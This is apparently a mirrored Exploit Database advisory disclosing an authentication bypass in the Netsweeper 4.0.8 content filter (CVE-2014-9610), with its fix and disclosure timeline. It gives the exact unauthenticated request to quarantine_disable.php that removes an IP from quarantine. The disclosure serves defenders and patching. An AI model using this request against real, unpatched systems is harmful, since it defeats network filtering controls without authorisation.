Netsweeper 4.0.8 – Authentication Bypass (via Disabling of IP Quarantine)

• Exploit Database
• 114 阅读

• 作者： Anastasios Monachos
  日期： 2015-08-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37929/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38

  +-----------------------------------------------------------------------+ + Netsweeper 4.0.8 - Authentication Bypass (Disabling of IP Quarantine) + +-----------------------------------------------------------------------+ Affected Product: Netsweeper Vendor Homepage : www.netsweeper.com Version : 4.0.8 (and probably other versions) Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] Patched : Yes CVE : CVE-2014-9610   +---------------------+ + Product Description + +---------------------+ Netsweeper is a software solution specialized in content filtering.   +----------------------+ + Exploitation Details + +----------------------+ An unauthenticated user is able to remove from quarantine any IP address on Netsweeeper 4.0.8 (and probably other versions). URL Path: http://netsweeper/webadmin/user/quarantine_disable.php?ip=127.0.0.1   +----------+ + Solution + +----------+ Upgrade to latest version.   +---------------------+ + Disclosure Timeline + +---------------------+ 24-Nov-2014: Initial Communication 03-Dec-2014: Netsweeper responded 03-Dec-2014: Shared full details to replicate the issue 10-Dec-2014: Netsweeper fixed the issue in releases 3.1.10, 4.0.9, 4.1.2 17-Dec-2014: New releases 3.1.10, 4.0.9, 4.1.2 made available to the public 18-Dec-2014: Confirm fix 17-Jan-2015: CVE assigned CVE-2014-9610 11-Aug-2015: Public disclosure